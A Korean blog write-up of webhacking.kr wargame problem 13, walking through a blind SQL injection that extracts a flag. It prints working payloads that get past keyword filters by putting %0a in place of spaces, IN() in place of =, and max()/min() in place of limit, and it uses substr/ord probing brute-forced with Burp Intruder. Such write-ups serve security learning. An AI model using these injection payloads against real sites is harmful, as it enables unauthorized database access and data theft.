에이.. 작성하다가 다 날려버렸네 ㅠㅠ 다시쓰자
접근하면 위와 같이 뜬다.
123을 넣고 제출을 누르면 result로 0이 뜬다.
1을 넣었을 떄는 result가 1로 뜨는 것으로 보아 blind sql injection을 하면 될 듯 하다.
일단 공백을 넣었을 떄 no hack이 출력되어 이를 우회하기 위해
/**/, %09을 넣었을 때 no hack이 떴지만 %0a를 넣었을 때 우회가 되었다.
* 공백 우회
- 테스트 쿼리 : ?no=1(이 부분에 공백 문자)test
- /**/, %09, %0a, %0b, %0c, %0d, ( )
그 후 여러가지 시도 결과 or이 no hack에 걸리지 않았다.
?no=1%0aor%0a1 를 한 결과 result도 1이 잘 떨어지는 것을 볼 수 있다.
HINT를 보면 prob13password 테이블에서 flag를 select하라는 것을 보아 if문을 통해 blind를 시도하였다.
다행히 if문은 막혀있지 않았다.
일단 flag를 찾기 전에 쿼리를 확인하기 위해 select하는 컬럼 부분에 1을 넣고 시도해보았더니 no hack이 떴다.
?no=1%0aor%0aif((select%0a1%0afrom%0aprob13password)=1,1,1)
확인 결과 =가 필터링되는 것을 알 수 있었다.
그래서 이를 우회하기 위해 난 IN( )을 사용하였다.
( 참고 :
http://www.mysqlkorea.com/sub.html?mcode=manual&scode=01&m_no=21700&cat1=12&cat2=351&cat3=363&lang=k )
그 결과 no hack이 뜨지는 않는데 result에 1이 출력되지 않는다.
?no=1%0aor%0aif((select%0a1%0afrom%0aprob13password)%0aIN(1),1,1)
local에 깔린 mysql에서 테스트해본 결과 서브쿼리 결과가 1개의 row를 넘는다는 에러를 출력한다는 것을 볼 수 있었다.
따라서 이를 해결하기 위해 limit를 사용하려 했지만 no hack이 떴다.
이를 우회하기 위해 난 max( )를 사용하였다.
* limit 우회
- limit를 우회하기 위해서는 max(column), min(column), group_concat(column)을 사용할 수 있다.
- max는 해당 컬럼의 최대값, min은 해당 컬럼의 최솟값, group_concat은 해당 컬럼의 값을 하나의 row로 출력시켜주는 함수이다.
?no=0%0aor%0aif(ord(substr((select%0amax(flag)%0afrom%0aprob13password),1,1))%0ain%0a(1),1,1)
쿼리를 날린 결과 1이 잘 뜨는 것을 확인하였고 false의 경우 0이 뜨게 한 뒤 Intruder 돌린 결과 첫번째 문자가 f인 것을 확인하였다.
?no=0%0aor%0aif(ord(substr((select%0amax(flag)%0afrom%0aprob13password),1,1))%0ain%0a(1),1,0)
쿼리를 통해 문자열의 길이가 4인 것을 확인하였고 길이가 얼마되지 않아 Intruder 기능을 이용하여 flag 값을 찾았다
그런데... flag 값이 flag...???
혹시나 하여 flag를 넣고 Auth를 넣었지만 반응이 없었다.
substr(group_concat(flag),6,1) 방식으로 우회하려했지만 group이 필터걸림..
혹시나 하여 정말 데이터가 한개 뿐이라면 삽질하는 것이므로 row수를 확인해보았다.
?no=0%0aor%0aif((select%0acount(flag)%0afrom%0aprob13password)%0ain%0a(2),1,0)
그 결과 위의 쿼리대로 데이터가 2개 존재함을 알 수 있었다.
그럼 max로 했을 때 flag가 나오니까.. min으로 하면 나머지 하나가 나와야할꺼같은데... 왜 안나오는거야 ㅠㅠ
와우........ 설마 하고 그냥 length를 늘려가며 테스트했더니 20글자라는 것을 확인하였다.
?no=0%0aor%0aif(length((select%0amin(flag)%0afrom%0aprob13password))%0ain%0a(20),1,0)
Intruder로 돌리기엔 오래걸릴꺼같으니 efficienct blind sql injection으로 가자.
결과로 나온 값을 넣고 auth를 누르면 클리어 ~
'Solve Problem > Webhacking.kr' 카테고리의 다른 글
[webhacking.kr] 15번 문제 (0) | 2018.03.07 |
---|---|
[webhacking.kr] 14번 문제 (0) | 2018.03.07 |
[webhacking.kr] 8번 문제 (0) | 2018.03.05 |
[webhacking.kr] 6번 문제 (0) | 2018.03.05 |
[webhacking.kr] 5번 문제 (0) | 2018.03.05 |